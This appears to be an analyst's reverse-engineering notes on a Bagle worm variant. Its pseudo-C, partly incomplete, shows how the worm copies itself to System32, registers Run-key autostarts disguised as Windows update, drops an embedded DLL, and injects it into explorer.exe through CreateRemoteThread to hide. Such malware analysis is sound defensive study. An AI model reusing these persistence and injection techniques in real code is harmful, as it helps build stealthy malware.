```
bagle_aq_rev.txt
// Author: Vinay A. Mahadik
#define BUF_SIZE 260
char windir_fn[BUF_SIZE];
char curexe_fn[BUF_SIZE];
main()
  // Something like "C:\Windows\System32\WINdirect.exe" into windir_fn
  GetSystemDirectory(windir_fn, BUF_SIZE);
strcat(windir_fn, "WINdirect.exe");
  // Get current exe's path into curexe_fn
  GetModuleFileName(NULL, curexe_fn, BUF_SIZE);
  // Register windir_fn to autostart spoofing as "windows update"
  req_auto_start(HKEY_CURRENT_USER);
  reg_auto_start(HKEY_LOCAL_MACHINE);
  // Skip copying-to-%system32% if already done.
  if ( strcmpi(curexe_fn, windir_fn) == 0 )
    goto are_same;
  SetFileAttributes(windir_fn, FILE_ATTRIBUTE_NORMAL);
  // Copy self (curexe_fn) into the system directory.
  if ( CopyFile(curexe_fn, windir_fn, 0) == 0 )
    goto xit;
  SetFileAttributes(windir_fn, FILE_ATTRIBUTE_NORMAL);
  // Execute another instance which eventually goes to "are_same". ShellExecute(NULL, "open", windir_fn, NULL, NULL, 0);
  // 1st "user-clicked" instance dies here.
xit:
  ExitProcess();
  // 2nd (auto-started or ShellExecuted) instance comes here.
  // Something like "C:\Windows\System32\_dll.exe" into _dll_fn
   // It turns out that this is actually a DLL and not an exe.. LoadLibrary() runs
DllMain().
  GetSystemDirectory(_dll_fn, 260);
  strcat(_dll_fn, "_dll.exe");
  SetFileAttributes(_dll_fn, FILE_ATTRIBUTE_NORMAL);
   \prime/ a <code>virus-payload DLL</code> is embedded in the .data section (it begins with "MZ.."
like all PE exes do!
  // so IDA pro confuses it with a string.. we could save it to a file and run IDA
pro on it as well.
  // I think I will! I guess that has the code for the smtp service and all that.. drop_payload(_dll_fn, &"MZE...", 0x2E00); // 0x2E00 is the size of the payload
  // What follows is a classic technique of injecting data and code in // a target process and executing the code as a separate thread in that process // with the data as argument. Why? To make the trojan hiden and not appear in the
task manager- Check:
http://www.codeproject.com/threads/winspy.asp?df=100&forumid=16291&exp=0&select=8804
94#section_2
```

```
bagle_aq_rev.txt
  // Funcs involved CreateRemoteThread, LoadLibrary, & WriteProcessMemory
  // We end up embedding the trojan (payload DLL) in explorer exe!
  GetWindowThreadProcessId(FindWindow("Shell_TrayWnd", 0), lpdwProcessId);
  stealth_payload(lpdwProcessId, _dll_fn);
  ExitProcess(0);
  __asm__ ("int 3"); // Trap to debugger.
}
stealth_payload(lpdwProcessId, _dll_fn)
  if ( fnd_addrs("kernel32.dll", aVirtualAllocEx=0, ebx) == 0 )
    goto 11;
  op_hdl = OpenProcess(some_access_level, 0, lpdwProcessId);
  if (op_hdl == 0)
    goto done;
  _dll_fn_len = strlen(_dll_fn);
  aVA = aVirtualAllocEx(op_hdl, 0, _dll_fn_len, 0x1000, 4);
  ebx = 0; // (XOR ebx, ebx);
  if (aVA == 0)
    goto c_hdl;
  if ( awrtPrcMem(op_hdl, avA, _dll_fn, _dll_fn_len, 0) == 0 )
    goto pre_c_hdl;
  // Alright, this is where the dropped payload is actually executed inside
explorer exe!
  ^{\prime}// It doesn't show up in the task manager too therefore.
hObject = aCrtRemTh(op_hdl, 0, 0, GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"),
    ava, 0, &var_16);
  if (hObject == 0)
    goto pre_c_hdl;
 WaitForSingleObject(hOject, INFINITE);
  GetExitCodeThread(hObject, &ExitCode);
 CloseHandle(hObject);
pre_c_hdl:
  aVirtualFreeEx(op_hdl, aVA, 0, 0x8000);
c hdl:
  CloseHandle(op_hdl);
  eax = ExitCode;
done2:
```

```
bagle_aq_rev.txt
  goto done;
11:
  if ( LoadLibrary(_dll_fn) == 0 )
    goto done;
  Loop forever - Sleep(10,000 msecs);
done:
  return;
}
reg_auto_start(HKEY hkey)
  PHKEY phkResult:
  // Open "Run" registry key with phkResult handler.
RegCreateKey(hkey, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", phkResult);
  // Try fooling user into thinking its windows update auto-start binary.
  RegSetValueEx(phkResult, "win_upd2.exe", 0, REG_SZ, windir_fn,
strlen(windir_fn)+1);
  RegClose(phkResult);
  return;
}
drop_payload(_dll_fn, a_mze, 0x2e00)
  hObject = CreateFile(_dll_fn, unk_access_level, FILE_SHARE_WRITE|FILE_SHARE_READ,
   0, CREATE_ALWAYS, 0, 0);
  if ( hObject != INVALID_HANDLE_VALUE )
    goto create_suc;
  return 1;
create_suc:
  WriteFile(hObject, a_mze, 0x2e00, lpbyteswritten, 0); //0x2e00 bytes to write
  CloseHandle(hObject);
  /* Haven't written down all of the rev-engg stuff here.
It basically loops over an array of "strings" which are function-names
     and uses GetProcAddress() to find addresses of each of those funcs in
kernel32.dll
  This took the most time to figure out.. but the assembly pattern is so unique, I
am sure the next
  time I will notice it much faster.. (remember lodsd does ESI+4 too.. thats the
catch.)
  */
fnd_addrs("kernel32.dll", aVirtualAllocEx=0, ebx)
                                           Page 3
```

```
bagle_aq_rev.txt

edi = &"kernel32.dll";
esi = aVirtualAllocEx;

if ( (ebx = LoadLibraryA("kernel32.dll")) == 0 )
    goto quit;

loc_401017:
    eax = 0;
    ecx = 0xFFFFFFFF;

if ( (aVirtualAllocEx = GetProcAddress(ebx, "VirtualAllocEx")) == 0 )
    goto quit;
eax = aVirtualAllocEx;
... incomplete ..

quit:
    return;
}
```